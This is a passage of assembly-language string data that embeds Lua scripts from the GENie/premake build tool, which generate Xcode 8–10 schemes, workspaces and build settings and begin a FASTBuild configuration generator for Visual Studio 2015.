schemecfg)\n_p('<?xml version=\"1.0\" encoding=\"UTF-8\"?>')\n_p('<Scheme')\n_p(1, 'LastUpgradeVersion = \"0940\"')\n_p(1, 'version = \"1.3\">')\n_p(1, '<BuildAction')\n_p(2, 'parallelizeBuildables = \"YES\"')\n_p(2, 'buildImplicitDependencies = \"YES\">')\n_p(2, '<BuildActionEntries>')\nfor _, prj in ipairs(tobuild) do\n_p(3, '<BuildActionEntry')\n_p(4, 'buildForTesting = \"YES\"')\n_p(4, 'buildForRunning = \"YES\"')\n_p(4, 'buildForProfiling = \"YES\"')\n_p(4, 'buildForArchiving = \"YES\"')\n_p(4, 'buildForAnalyzing = \"YES\">')\nbuildableref(4, prj)\n_p(3, '</BuildActionEntry>')\nend\nlocal debugcfg = schemecfg or bestconfig(primary, true)\nlocal releasecfg = schemecfg or bestconfig(primary, false)\nlocal debugname = xcode.getconfigname(debugcfg)\nlocal releasename = xcode.getconfigname(releasecfg)\n_p(2, '</BuildActionEntries>')\n_p(1, '</BuildAction>')\n_p(1, '<TestAction')\n_p(2, 'buildConfiguration = \"%s\"', debugname)\n_p(2, 'selectedDebuggerIdentifier = \"Xcode.DebuggerFoundation.Debugger.LLDB\"')\n_p(2, 'selectedLauncherIdentifier = \"Xcode.DebuggerFoundation.Launcher.LLDB\"')\n_p(2, 'shouldUseLaunchSchemeArgsEnv = \"YES\">')\n_p(2, '<Testables>')\n_p(2, '</Testables>')\n_p(2, '<MacroExpansion>')\nbuildableref(3, primary, debugcfg)\n_p(2, '</MacroExpansion>')\n_p(2, '<AdditionalOptions>')\n_p(2, '</AdditionalOptions>')\n_p(1, '</TestAction>')\n_p(1, '<LaunchAction')\n_p(2, 'buildConfiguration = \"%s\"', debugname)\n_p(2, 'selectedDebuggerIdentifier = \"Xcode.DebuggerFoundation.Debugger.LLDB\"')\n_p(2, 'selectedLauncherIdentifier = \"Xcode.DebuggerFoundation.Launcher.LLDB\"')\n_p(2, 'launchStyle = \"0\"')\nif debugcfg.debugdir then\n_p(2, 'useCustomWorkingDirectory = \"YES\"')\n_p(2, 'customWorkingDirectory = \"%s\"', workingdir(debugcfg.debugdir))\nelse\n_p(2, 'useCustomWorkingDirectory = \"NO\"')\nend\n_p(2, 'ignoresPersistentStateOnLaunch = \"NO\"')\n_p(2, 'debugDocumentVersioning = \"YES\"')\n_p(2, 'debugServiceExtension = \"internal\"')\n_p(2, 'allowLocationSimulation = \"YES\">')\nif debugcfg.debugcmd then\n_p(2, '<PathRunnable')\n_p(3, 'runnableDebuggingMode = \"0\"')\n_p(3, 'FilePath = \"%s\">', debugcfg.debugcmd)\n_p(2, '</PathRunnable>')\nelse\n_p(2, '<BuildableProductRunnable')\n_p(3, 'runnableDebuggingMode = \"0\">')\nbuildableref(3, primary, debugcfg)\n_p(2, '</BuildableProductRunnable>')\nend\ncmdlineargs(2, debugcfg)\nenvvars(2, debugcfg)\n_p(2, '<AdditionalOptions>')\n_p(2, '</AdditionalOptions>')\n_p(1, '</LaunchAction>')\n_p(1, '<ProfileAction')\n_p(2, 'buildConfiguration = \"%s\"', releasename)\n_p(2, 'shouldUseLaunchSchemeArgsEnv = \"YES\"')\n_p(2, 'savedToolIdentifier = \"\"')\nif releasecfg.debugdir then\n_p(2, 'useCustomWorkingDirectory = \"YES\"')\n_p(2, 'customWorkingDirectory = \"%s\"', workingdir(releasecfg.debugdir))\nelse\n_p(2, 'useCustomWorkingDirectory = \"NO\"')\nend\n_p(2, 'debugDocumentVersioning = \"YES\">')\n_p(2, '<BuildableProductRunnable')\n_p(3, 'runnableDebuggingMode = \"0\">')\nbuildableref(3, primary, releasecfg)\n_p(2, '</BuildableProductRunnable>')\ncmdlineargs(2, releasecfg)\nenvvars(2, releasecfg)\n_p(1, '</ProfileAction>')\n_p(1, '<AnalyzeAction')\n_p(2, 'buildConfiguration = \"%s\">', debugname)\n_p(1, '</AnalyzeAction>')\n_p(1, '<ArchiveAction')\n_p(2, 'buildConfiguration = \"%s\"', releasename)\n_p(2, 'revealArchiveInOrganizer = \"YES\">')\n_p(1, '</ArchiveAction>')\n_p('</Scheme>')\nend\nfunction xcode.generate_schemes(prj, base_path)\nif (prj.kind == \"ConsoleApp\" or prj.kind == \"WindowedApp\") or (prj.options and prj.options.XcodeLibrarySchemes) then\nif prj.options and prj.options.XcodeSchemeNoConfigs then\npremake.generate(prj, path.join(base_path, \"%%.xcscheme\"),\nfunction(prj) xcode.scheme({prj}, prj) end)\nelse\nfor cfg in premake.eachconfig(prj) do\npremake.generate(prj, path.join(base_path, \"%% \" .. cfg.name .. \".xcscheme\"),\nfunction(prj) xcode.scheme({prj}, prj, cfg) end)\nend\nend\nend\nend\n"
L_.str.53: ## @.str.53
.asciz "local premake = premake\nlocal xcode = premake.xcode\nxcode.allscheme = false\nfunction xcode.workspace_head()\n_p('<?xml version=\"1.0\" encoding=\"UTF-8\"?>')\n_p('<Workspace')\n_p(1,'version = \"1.0\">')\nend\nfunction xcode.workspace_tail()\n_p('</Workspace>')\nend\nfunction xcode.workspace_file_ref(prj, indent)\nlocal projpath = path.getrelative(prj.solution.location, prj.location)\nif projpath == '.' then projpath = ''\nelse projpath = projpath ..'/'\nend\n_p(indent, '<FileRef')\n_p(indent + 1, 'location = \"group:%s\">', projpath .. prj.name .. '.xcodeproj')\n_p(indent, '</FileRef>')\nend\nfunction xcode.workspace_group(grp, indent)\n_p(indent, '<Group')\n_p(indent + 1, 'location = \"container:\"')\n_p(indent + 1, 'name = \"%s\">', grp.name)\nlocal function comparenames(a, b)\nreturn a.name < b.name\nend\nlocal groups = table.join(grp.groups)\nlocal projects = table.join(grp.projects)\ntable.sort(groups, comparenames)\ntable.sort(projects, comparenames)\nfor _, child in ipairs(groups) do\nxcode.workspace_group(child, indent + 1)\nend\nfor _, prj in ipairs(projects) do\nxcode.workspace_file_ref(prj, indent + 1)\nend\n_p(indent, '</Group>')\nend\nfunction xcode.workspace_generate(sln)\nxcode.preparesolution(sln)\nxcode.workspace_head()\nxcode.reorderProjects(sln)\nfor grp in premake.solution.eachgroup(sln) do\nif grp.parent == nil then\nxcode.workspace_group(grp, 1)\nend\nend\nfor prj in premake.solution.eachproject(sln) do\nif prj.group == nil then\nxcode.workspace_file_ref(prj, 1)\nend\nend\nxcode.workspace_tail()\nend\nfunction xcode.workspace_scheme(sln)\nif not xcode.allscheme then\nreturn false\nend\nlocal projects = {}\nlocal primary = nil\nfor prj in premake.solution.eachproject(sln) do\nif not primary or (sln.startproject == prj.name) then\nprimary = prj\nend\ntable.insert(projects, prj)\nend\nxcode.scheme(projects, primary)\nend\nfunction xcode.workspace_settings(sln)\n_p('<?xml version=\"1.0\" encoding=\"UTF-8\"?>')\n_p('<!DOCTYPE plist PUBLIC \"-//Apple//DTD PLIST 1.0//EN\" \"http://www.apple.com/DTDs/PropertyList-1.0.dtd\">')\n_p('<plist version=\"1.0\">')\n_p('<dict>')\n_p(1, '<key>IDEWorkspaceSharedSettings_AutocreateContextsIfNeeded</key>')\n_p(1, '<false/>')\n_p('</dict>')\n_p('</plist>')\nend\nfunction xcode.reorderProjects(sln)\nif sln.startproject then\nfor i, prj in ipairs(sln.projects) do\nif sln.startproject == prj.name then\nlocal cur = prj.group\nwhile cur ~= nil do\nfor j, group in ipairs(sln.groups) do\nif group == cur then\ntable.remove(sln.groups, j)\nbreak\nend\nend\ntable.insert(sln.groups, 1, cur)\ncur = cur.parent\nend\ntable.remove(sln.projects, i)\ntable.insert(sln.projects, 1, prj)\nbreak\nend\nend\nend\nend\n"
L_.str.54: ## @.str.54
.asciz "local premake = premake\npremake.xcode8 = { }\nlocal xcode = premake.xcode\nlocal xcode8 = premake.xcode8\nfunction xcode8.XCBuildConfiguration_Target(tr, target, cfg)\nlocal cfgname = xcode.getconfigname(cfg)\nlocal installpaths = {\nConsoleApp = \"/usr/local/bin\",\nWindowedApp = \"$(HOME)/Applications\",\nSharedLib = \"/usr/local/lib\",\nStaticLib = \"/usr/local/lib\",\nBundle = \"$(LOCAL_LIBRARY_DIR)/Bundles\",\n}\nlocal options = {\nALWAYS_SEARCH_USER_PATHS = \"NO\",\nGCC_DYNAMIC_NO_PIC = \"NO\",\nGCC_MODEL_TUNING = \"G5\",\nINSTALL_PATH = installpaths[cfg.kind],\nPRODUCT_NAME = cfg.buildtarget.basename,\n}\nif not cfg.flags.Symbols then\noptions.DEBUG_INFORMATION_FORMAT = \"dwarf-with-dsym\"\nend\nif cfg.kind ~= \"StaticLib\" and cfg.buildtarget.prefix ~= \"\" then\noptions.EXECUTABLE_PREFIX = cfg.buildtarget.prefix\nend\nif cfg.targetextension then\nlocal ext = cfg.targetextension\noptions.EXECUTABLE_EXTENSION = iif(ext:startswith(\".\"), ext:sub(2), ext)\nend\nif cfg.flags.ObjcARC then\noptions.CLANG_ENABLE_OBJC_ARC = \"YES\"\nend\nlocal outdir = path.getdirectory(cfg.buildtarget.bundlepath)\nif outdir ~= \".\" then\noptions.CONFIGURATION_BUILD_DIR = outdir\nend\nif tr.infoplist then\noptions.INFOPLIST_FILE = tr.infoplist.cfg.name\nend\nlocal infoplist_file = nil\nfor _, v in ipairs(cfg.files) do\nif (string.find (string.lower (v), 'info.plist') ~= nil) then\ninfoplist_file = string.format('$(SRCROOT)/%s', v)\nend\nend\nif infoplist_file ~= nil then\noptions.INFOPLIST_FILE = infoplist_file\nend\nlocal action = premake.action.current()\nlocal get_opt = function(opt, def)\nreturn (opt and #opt > 0) and opt or def\nend\nlocal iosversion = get_opt(cfg.iostargetplatformversion, action.xcode.iOSTargetPlatformVersion)\nlocal macosversion = get_opt(cfg.macostargetplatformversion, action.xcode.macOSTargetPlatformVersion)\nlocal tvosversion = get_opt(cfg.tvostargetplatformversion, action.xcode.tvOSTargetPlatformVersion)\nif iosversion then\noptions.IPHONEOS_DEPLOYMENT_TARGET = iosversion\nelseif macosversion then\noptions.MACOSX_DEPLOYMENT_TARGET = macosversion\nelseif tvosversion then\noptions.TVOS_DEPLOYMENT_TARGET = tvosversion\nend\nif cfg.kind == \"Bundle\" and not cfg.options.SkipBundling then\noptions.PRODUCT_BUNDLE_IDENTIFIER = \"genie.\" .. cfg.buildtarget.basename:gsub(\"%s+\", \".\") --replace spaces with .\nlocal ext = cfg.targetextension\nif ext then\noptions.WRAPPER_EXTENSION = iif(ext:startswith(\".\"), ext:sub(2), ext)\nelse\noptions.WRAPPER_EXTENSION = \"bundle\"\nend\nend\nreturn options\nend\nfunction xcode8.XCBuildConfiguration_Project(tr, prj, cfg)\nlocal cfgname = xcode.getconfigname(cfg)\nlocal archs = {\nNative = nil,\nx32 = \"i386\",\nx64 = \"x86_64\",\nUniversal32 = \"$(ARCHS_STANDARD_32_BIT)\",\nUniversal64 = \"$(ARCHS_STANDARD_64_BIT)\",\nUniversal = \"$(ARCHS_STANDARD_32_64_BIT)\",\n}\nlocal checks = {\n[\"-ffast-math\"] = cfg.flags.FloatFast,\n[\"-ffloat-store\"] = cfg.flags.FloatStrict,\n[\"-fomit-frame-pointer\"] = cfg.flags.NoFramePointer,\n}\nlocal cflags = { }\nfor flag, check in pairs(checks) do\nif check then\ntable.insert(cflags, flag)\nend\nend\nlocal ldflags = { }\nfor _, lib in ipairs(premake.getlinks(cfg, \"system\")) do\nif not xcode.isframework(lib) then\ntable.insert(ldflags, \"-l\" .. lib)\nend\nend\nlocal options = {\nARCHS = archs[cfg.platform],\nCLANG_WARN__DUPLICATE_METHOD_MATCH = \"YES\",\nCLANG_WARN_BOOL_CONVERSION = \"YES\",\nCLANG_WARN_CONSTANT_CONVERSION = \"YES\",\nCLANG_WARN_EMPTY_BODY = \"YES\",\nCLANG_WARN_ENUM_CONVERSION = \"YES\",\nCLANG_WARN_INFINITE_RECURSION = \"YES\",\nCLANG_WARN_INT_CONVERSION = \"YES\",\nCLANG_WARN_SUSPICIOUS_MOVE = \"YES\",\nCLANG_WARN_UNREACHABLE_CODE = \"YES\",\nCONFIGURATION_TEMP_DIR = \"$(OBJROOT)\",\nENABLE_STRICT_OBJC_MSGSEND = \"YES\",\nENABLE_TESTABILITY = \"YES\",\nGCC_C_LANGUAGE_STANDARD = \"gnu99\",\nGCC_NO_COMMON_BLOCKS = \"YES\",\nGCC_PREPROCESSOR_DEFINITIONS = cfg.defines,\nGCC_SYMBOLS_PRIVATE_EXTERN = \"NO\",\nGCC_WARN_64_TO_32_BIT_CONVERSION = \"YES\",\nGCC_WARN_ABOUT_RETURN_TYPE = \"YES\",\nGCC_WARN_UNDECLARED_SELECTOR = \"YES\",\nGCC_WARN_UNINITIALIZED_AUTOS = \"YES\",\nGCC_WARN_UNUSED_FUNCTION = \"YES\",\nGCC_WARN_UNUSED_VARIABLE = \"YES\",\nHEADER_SEARCH_PATHS = table.join(cfg.includedirs, cfg.systemincludedirs),\nLIBRARY_SEARCH_PATHS = cfg.libdirs,\nOBJROOT = cfg.objectsdir,\nONLY_ACTIVE_ARCH = \"YES\",\nOTHER_CFLAGS = table.join(cflags, cfg.buildoptions, cfg.buildoptions_c),\nOTHER_CPLUSPLUSFLAGS = table.join(cflags, cfg.buildoptions, cfg.buildoptions_cpp),\nOTHER_LDFLAGS = table.join(ldflags, cfg.linkoptions),\nSDKROOT = xcode.toolset,\nUSER_HEADER_SEARCH_PATHS = cfg.userincludedirs,\n}\nif tr.entitlements then\noptions.CODE_SIGN_ENTITLEMENTS = tr.entitlements.cfg.name\nend\nlocal targetdir = path.getdirectory(cfg.buildtarget.bundlepath)\nif targetdir ~= \".\" then\noptions.CONFIGURATION_BUILD_DIR = \"$(SYMROOT)\"\noptions.SYMROOT = targetdir\nend\nif cfg.flags.Symbols then\noptions.COPY_PHASE_STRIP = \"NO\"\nend\nlocal excluded = xcode.cfg_excluded_files(prj, cfg)\nif #excluded > 0 then\noptions.EXCLUDED_SOURCE_FILE_NAMES = excluded\nend\nif cfg.flags.NoExceptions then\noptions.GCC_ENABLE_CPP_EXCEPTIONS = \"NO\"\nend\nif cfg.flags.NoRTTI then\noptions.GCC_ENABLE_CPP_RTTI = \"NO\"\nend\nif cfg.flags.Symbols and not cfg.flags.NoEditAndContinue then\noptions.GCC_ENABLE_FIX_AND_CONTINUE = \"YES\"\nend\nif cfg.flags.NoExceptions then\noptions.GCC_ENABLE_OBJC_EXCEPTIONS = \"NO\"\nend\nif cfg.flags.Optimize or cfg.flags.OptimizeSize then\noptions.GCC_OPTIMIZATION_LEVEL = \"s\"\nelseif cfg.flags.OptimizeSpeed then\noptions.GCC_OPTIMIZATION_LEVEL = 3\nelse\noptions.GCC_OPTIMIZATION_LEVEL = 0\nend\nif cfg.pchheader and not cfg.flags.NoPCH then\noptions.GCC_PRECOMPILE_PREFIX_HEADER = \"YES\"\nlocal pch = cfg.pchheader\nfor _, incdir in ipairs(cfg.includedirs) do\nlocal abspath = path.getabsolute(path.join(cfg.project.location, incdir))\nlocal testname = path.join(abspath, pch)\nif os.isfile(testname) then\npch = path.getrelative(cfg.location, testname)\nbreak\nend\nend\noptions.GCC_PREFIX_HEADER = pch\nend\nif cfg.flags.FatalWarnings then\noptions.GCC_TREAT_WARNINGS_AS_ERRORS = \"YES\"\nend\nif cfg.kind == \"Bundle\" then\noptions.MACH_O_TYPE = \"mh_bundle\"\nend\nif cfg.flags.StaticRuntime then\noptions.STANDARD_C_PLUS_PLUS_LIBRARY_TYPE = \"static\"\nend\nif cfg.flags.PedanticWarnings or cfg.flags.ExtraWarnings then\noptions.WARNING_CFLAGS = \"-Wall\"\nend\nif cfg.flags.Cpp11 then\noptions.CLANG_CXX_LANGUAGE_STANDARD = \"c++11\"\nelseif cfg.flags.Cpp14 or cfg.flags.CppLatest then\noptions.CLANG_CXX_LANGUAGE_STANDARD = \"c++14\"\nelseif cfg.flags.Cpp17 then\nif premake.action.current() == premake.action.get(\"xcode8\") then\nerror(\"XCode8 does not support C++17.\")\nend\nend\nfor _, val in ipairs(premake.xcode.parameters) do\nlocal eqpos = string.find(val, \"=\")\nif eqpos ~= nil then\nlocal key = string.trim(string.sub(val, 1, eqpos - 1))\nlocal value = string.trim(string.sub(val, eqpos + 1))\noptions[key] = value\nend\nend\nreturn options\nend\nfunction xcode8.project(prj)\nlocal tr = xcode.buildprjtree(prj)\nxcode.Header(tr, 48)\nxcode.PBXBuildFile(tr)\nxcode.PBXContainerItemProxy(tr)\nxcode.PBXFileReference(tr,prj)\nxcode.PBXFrameworksBuildPhase(tr)\nxcode.PBXGroup(tr)\nxcode.PBXNativeTarget(tr)\nxcode.PBXProject(tr, \"8.0\")\nxcode.PBXReferenceProxy(tr)\nxcode.PBXResourcesBuildPhase(tr)\nxcode.PBXShellScriptBuildPhase(tr)\nxcode.PBXCopyFilesBuildPhase(tr)\nxcode.PBXSourcesBuildPhase(tr,prj)\nxcode.PBXVariantGroup(tr)\nxcode.PBXTargetDependency(tr)\nxcode.XCBuildConfiguration(tr, prj, {\nontarget = xcode8.XCBuildConfiguration_Target,\nonproject = xcode8.XCBuildConfiguration_Project,\n})\nxcode.XCBuildConfigurationList(tr)\nxcode.Footer(tr)\nend\nnewaction\n{\ntrigger = \"xcode8\",\nshortname = \"Xcode 8\",\ndescription = \"Generate Apple Xcode 8 project files\",\nos = \"macosx\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\" },\nvalid_tools = {\ncc = { \"gcc\" },\n},\nvalid_platforms = {\nNative = \"Native\",\nx32 = \"Native 32-bit\",\nx64 = \"Native 64-bit\",\nUniversal = \"Universal\",\n},\ndefault_platform = \"Native\",\nonsolution = function(sln)\npremake.generate(sln, \"%%.xcworkspace/contents.xcworkspacedata\", xcode.workspace_generate)\npremake.generate(sln, \"%%.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings\", xcode.workspace_settings)\npremake.generate(sln, \"%%.xcworkspace/xcshareddata/xcschemes/-ALL-.xcscheme\", xcode.workspace_scheme)\nend,\nonproject = function(prj)\npremake.generate(prj, \"%%.xcodeproj/project.pbxproj\", xcode8.project)\nxcode.generate_schemes(prj, \"%%.xcodeproj/xcshareddata/xcschemes\")\nend,\noncleanproject = function(prj)\npremake.clean.directory(prj, \"%%.xcodeproj\")\npremake.clean.directory(prj, \"%%.xcworkspace\")\nend,\noncheckproject = xcode.checkproject,\nxcode = {\niOSTargetPlatformVersion = nil,\nmacOSTargetPlatformVersion = nil,\ntvOSTargetPlatformVersion = nil,\n},\n}\n"
L_.str.55: ## @.str.55
.asciz "local premake = premake\npremake.xcode9 = { }\nlocal xcode = premake.xcode\nlocal xcode8 = premake.xcode8\nlocal xcode9 = premake.xcode9\nfunction xcode9.XCBuildConfiguration_Project(tr, prj, cfg)\nlocal options = xcode8.XCBuildConfiguration_Project(tr, prj, cfg)\nif cfg.flags.Cpp17 or cfg.flags.CppLatest then\noptions.CLANG_CXX_LANGUAGE_STANDARD = \"c++17\"\nend\nreturn table.merge(options, {\nCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = \"YES\",\nCLANG_WARN_COMMA = \"YES\",\nCLANG_WARN_NON_LITERAL_NULL_CONVERSION = \"YES\",\nCLANG_WARN_OBJC_LITERAL_CONVERSION = \"YES\",\nCLANG_WARN_RANGE_LOOP_ANALYSIS = \"YES\",\nCLANG_WARN_STRICT_PROTOTYPES = \"YES\",\n})\nend\nfunction xcode9.project(prj)\nlocal tr = xcode.buildprjtree(prj)\nxcode.Header(tr, 48)\nxcode.PBXBuildFile(tr)\nxcode.PBXContainerItemProxy(tr)\nxcode.PBXFileReference(tr,prj)\nxcode.PBXFrameworksBuildPhase(tr)\nxcode.PBXGroup(tr)\nxcode.PBXNativeTarget(tr)\nxcode.PBXProject(tr, \"8.0\")\nxcode.PBXReferenceProxy(tr)\nxcode.PBXResourcesBuildPhase(tr)\nxcode.PBXShellScriptBuildPhase(tr)\nxcode.PBXCopyFilesBuildPhase(tr)\nxcode.PBXSourcesBuildPhase(tr,prj)\nxcode.PBXVariantGroup(tr)\nxcode.PBXTargetDependency(tr)\nxcode.XCBuildConfiguration(tr, prj, {\nontarget = xcode8.XCBuildConfiguration_Target,\nonproject = xcode9.XCBuildConfiguration_Project,\n})\nxcode.XCBuildConfigurationList(tr)\nxcode.Footer(tr)\nend\nnewaction\n{\ntrigger = \"xcode9\",\nshortname = \"Xcode 9\",\ndescription = \"Generate Apple Xcode 9 project files\",\nos = \"macosx\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\" },\nvalid_tools = {\ncc = { \"gcc\" },\n},\nvalid_platforms = {\nNative = \"Native\",\nx32 = \"Native 32-bit\",\nx64 = \"Native 64-bit\",\nUniversal = \"Universal\",\n},\ndefault_platform = \"Native\",\nonsolution = function(sln)\npremake.generate(sln, \"%%.xcworkspace/contents.xcworkspacedata\", xcode.workspace_generate)\npremake.generate(sln, \"%%.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings\", xcode.workspace_settings)\npremake.generate(sln, \"%%.xcworkspace/xcshareddata/xcschemes/-ALL-.xcscheme\", xcode.workspace_scheme)\nend,\nonproject = function(prj)\npremake.generate(prj, \"%%.xcodeproj/project.pbxproj\", xcode9.project)\nxcode.generate_schemes(prj, \"%%.xcodeproj/xcshareddata/xcschemes\")\nend,\noncleanproject = function(prj)\npremake.clean.directory(prj, \"%%.xcodeproj\")\npremake.clean.directory(prj, \"%%.xcworkspace\")\nend,\noncheckproject = xcode.checkproject,\nxcode = {\niOSTargetPlatformVersion = nil,\nmacOSTargetPlatformVersion = nil,\ntvOSTargetPlatformVersion = nil,\n},\n}\n"
L_.str.56: ## @.str.56
.asciz "local premake = premake\npremake.xcode10 = { }\nlocal xcode = premake.xcode\nlocal xcode8 = premake.xcode8\nlocal xcode9 = premake.xcode9\nlocal xcode10 = premake.xcode10\nfunction xcode10.XCBuildConfiguration_Project(tr, prj, cfg)\nlocal options = xcode9.XCBuildConfiguration_Project(tr, prj, cfg)\nreturn table.merge(options, {\nCLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = \"YES\",\nCLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = \"YES\",\nCLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = \"YES\",\nCLANG_WARN_COMMA = \"YES\",\nCLANG_WARN_NON_LITERAL_NULL_CONVERSION = \"YES\",\nCLANG_WARN_OBJC_LITERAL_CONVERSION = \"YES\",\nCLANG_WARN_RANGE_LOOP_ANALYSIS = \"YES\",\nCLANG_WARN_STRICT_PROTOTYPES = \"YES\",\n})\nend\nfunction xcode10.XCBuildConfiguration_Target(tr, target, cfg)\nlocal options = xcode8.XCBuildConfiguration_Target(tr, target, cfg)\nif not cfg.flags.ObjcARC then\noptions.CLANG_ENABLE_OBJC_WEAK = \"YES\"\nend\nreturn options\nend\nfunction xcode10.project(prj)\nlocal tr = xcode.buildprjtree(prj)\nxcode.Header(tr, 48)\nxcode.PBXBuildFile(tr)\nxcode.PBXContainerItemProxy(tr)\nxcode.PBXFileReference(tr,prj)\nxcode.PBXFrameworksBuildPhase(tr)\nxcode.PBXGroup(tr)\nxcode.PBXNativeTarget(tr)\nxcode.PBXProject(tr, \"8.0\")\nxcode.PBXReferenceProxy(tr)\nxcode.PBXResourcesBuildPhase(tr)\nxcode.PBXShellScriptBuildPhase(tr)\nxcode.PBXCopyFilesBuildPhase(tr)\nxcode.PBXSourcesBuildPhase(tr,prj)\nxcode.PBXVariantGroup(tr)\nxcode.PBXTargetDependency(tr)\nxcode.XCBuildConfiguration(tr, prj, {\nontarget = xcode10.XCBuildConfiguration_Target,\nonproject = xcode10.XCBuildConfiguration_Project,\n})\nxcode.XCBuildConfigurationList(tr)\nxcode.Footer(tr)\nend\nnewaction\n{\ntrigger = \"xcode10\",\nshortname = \"Xcode 10\",\ndescription = \"Generate Apple Xcode 10 project files (experimental)\",\nos = \"macosx\",\nvalid_kinds = { \"ConsoleApp\", \"WindowedApp\", \"StaticLib\", \"SharedLib\", \"Bundle\" },\nvalid_languages = { \"C\", \"C++\" },\nvalid_tools = {\ncc = { \"gcc\" },\n},\nvalid_platforms = {\nNative = \"Native\",\nx32 = \"Native 32-bit\",\nx64 = \"Native 64-bit\",\nUniversal = \"Universal\",\n},\ndefault_platform = \"Native\",\nonsolution = function(sln)\npremake.generate(sln, \"%%.xcworkspace/contents.xcworkspacedata\", xcode.workspace_generate)\npremake.generate(sln, \"%%.xcworkspace/xcshareddata/WorkspaceSettings.xcsettings\", xcode.workspace_settings)\npremake.generate(sln, \"%%.xcworkspace/xcshareddata/xcschemes/-ALL-.xcscheme\", xcode.workspace_scheme)\nend,\nonproject = function(prj)\npremake.generate(prj, \"%%.xcodeproj/project.pbxproj\", xcode10.project)\nxcode.generate_schemes(prj, \"%%.xcodeproj/xcshareddata/xcschemes\")\nend,\noncleanproject = function(prj)\npremake.clean.directory(prj, \"%%.xcodeproj\")\npremake.clean.directory(prj, \"%%.xcworkspace\")\nend,\noncheckproject = xcode.checkproject,\nxcode = {\niOSTargetPlatformVersion = nil,\nmacOSTargetPlatformVersion = nil,\ntvOSTargetPlatformVersion = nil,\n},\n}\n"
L_.str.57: ## @.str.57
.asciz "premake.fastbuild = { }\nlocal fastbuild = premake.fastbuild\nnewaction\n{\ntrigger = \"vs2015-fastbuild\",\nshortname = \"FASTBuild VS2015\",\ndescription = \"Generate FASTBuild configuration files for Visual Studio 2015.\",\nvalid_kinds = {\n\"ConsoleApp\",\n\"WindowedApp\",\n\"StaticLib\",\n\"SharedLib\",\n\"Bundle\",\n},\nvalid_languages = {\n\"C\",\n\"C++\"\n},\nvalid_tools = {\ncc = {\n\"msc\"\n},\n},\nonsolution = function(sln)\npremake.generate(sln, \"fbuild.bff\", premake.fastbuild.solution)\nend,\nonproject = function(prj)\npremake.generate(prj, \"%%.bff\", premake.fastbuild.project)\nend,\noncleansolution = function(sln)\npremake.clean.file(sln, \"fbuild.bff\")\nend,\noncleanproject = function(prj)\npremake.clean.file(prj, \"%%.bff\")\nend,\n}\n"
L_.str.58: ## @.str.58
.asciz "-- Generates a FASTBuild config file for a project.\nlocal function add_trailing_backslash(dir)\nif dir:len() > 0 and dir:sub(-1) ~= \"\\\\\" then\nreturn dir..\"\\\\\"\nend\nreturn dir\nend\nlocal function compile(indentlevel, prj, cfg, commonbasepath)\nlocal firstflag = true\nfor _, cfgexclude in ipairs(cfg.excludes) do\nif path.issourcefile(cfgexclude) then\nif firstflag then\n_p(indentlevel, '// Excluded files:')\nfirstflag = false\nend\n_p(indentlevel, \".CompilerInputFiles - '%s'\", cfgexclude)\nend\nend\nif not firstflag then\n_p('')\nend\n_p(indentlevel, \".CompilerOutputPath = '%s'\", add_trailing_backslash(cfg.objectsdir))\n_p(indentlevel, \".Defines = ''\")\nfor _, define in ipairs(cfg.defines) do\n_p(indentlevel+1, \"+ ' /D%s'\", define)\nend\nif cfg.kind == 'SharedLib' then\n_p(indentlevel+1, \"+ ' /D_WINDLL'\")\nend\n_p(indentlevel, \".IncludeDirs = ''\")\nlocal sortedincdirs = table.join(cfg.userincludedirs, cfg.includedirs, cfg.systemincludedirs)\nlocal function getpathnodecount(p)\nlocal nodefinder = string.gmatch(p, \"[^\\\\/]+\")\nlocal result = 0\nlocal node = nodefinder()\nwhile node do\nresult = result + ((node ~= '.' and 1) or 0)\nnode = nodefinder()\nend\nreturn result\nend\nlocal stepsfrombase = {}\nfor _, includedir in ipairs(sortedincdirs) do\nstepsfrombase[includedir] = getpathnodecount(path.getrelative(commonbasepath, includedir))\nend\nlocal function includesort(a, b)\nif stepsfrombase[a] == stepsfrombase[b] then\nreturn a < b\nelse\nreturn stepsfrombase[a] < stepsfrombase[b]\nend\nend\ntable.sort(sortedincdirs, includesort)\nfor _, includedir in ipairs(sortedincdirs) do\n_p(indentlevel+1, \"+ ' /I\\\"%s\\\"'\", includedir)\nend\n_p(indentlevel+1, \"+ .MSVCIncludes\")\nlocal compileroptions = {\n'\"%1\"',\n'/nologo',\n'/c',\n'/Gm-',\n'/Zc:inline',\n'/errorReport:prompt',\n'/FS',\n}\nif cfg.options.ForceCPP then\ntable.insert(compileroptions, '/TP')\nend\nif cfg.flags.PedanticWarnings\nor cfg.flags.ExtraWarnings\nthen\ntable.insert(compileroptions, '/W4')\nend\nif (cfg.flags.NativeWChar == false or\ncfg.flags.NoNativeWChar) then\ntable.insert(compileroptions, '/Zc:wchar_t-')\nend\nif (cfg.flags.EnableMinimalRebuild or\ncfg.flags.NoMultiProcessorCompilation) then\nend\nif cfg.flags.FloatFast then\ntable.insert(compileroptions, '/fp:fast')\nelseif cfg.flags.FloatStrict then\ntable.insert(compileroptions, '/fp:strict')\nelse\ntable.insert(compileroptions, '/fp:precise')\nend\nif cfg.flags.FastCall then\ntable.insert(compileroptions, '/Gr')\nelseif cfg.flags.StdCall then\ntable.insert(compileroptions, '/Gd')\nend\nif cfg.flags.UnsignedChar then\ntable.insert(compileroptions, '/J')\nend\nif premake.config.isdebugbuild(cfg) then\nif cfg.flags.StaticRuntime then\ntable.insert(compileroptions, '/MTd')\nelse\ntable.insert(compileroptions, '/MDd')\nend\nelse\nif cfg.flags.StaticRuntime then\ntable.insert(compileroptions, '/MT')\nelse\ntable.insert(compileroptions, '/MD')\nend\nend\nif cfg.flags.Symbols then\nif (cfg.flags.C7DebugInfo) then\ntable.insert(compileroptions, '/Z7')\nelse\nif premake.config.iseditandcontinue(cfg) then\ntable.insert(compileroptions, '/ZI')\nelse\ntable.insert(compileroptions, '/Zi')\nend\nlocal targetdir = add_trailing_backslash(cfg.buildtarget.directory)\ntable.insert(compileroptions, 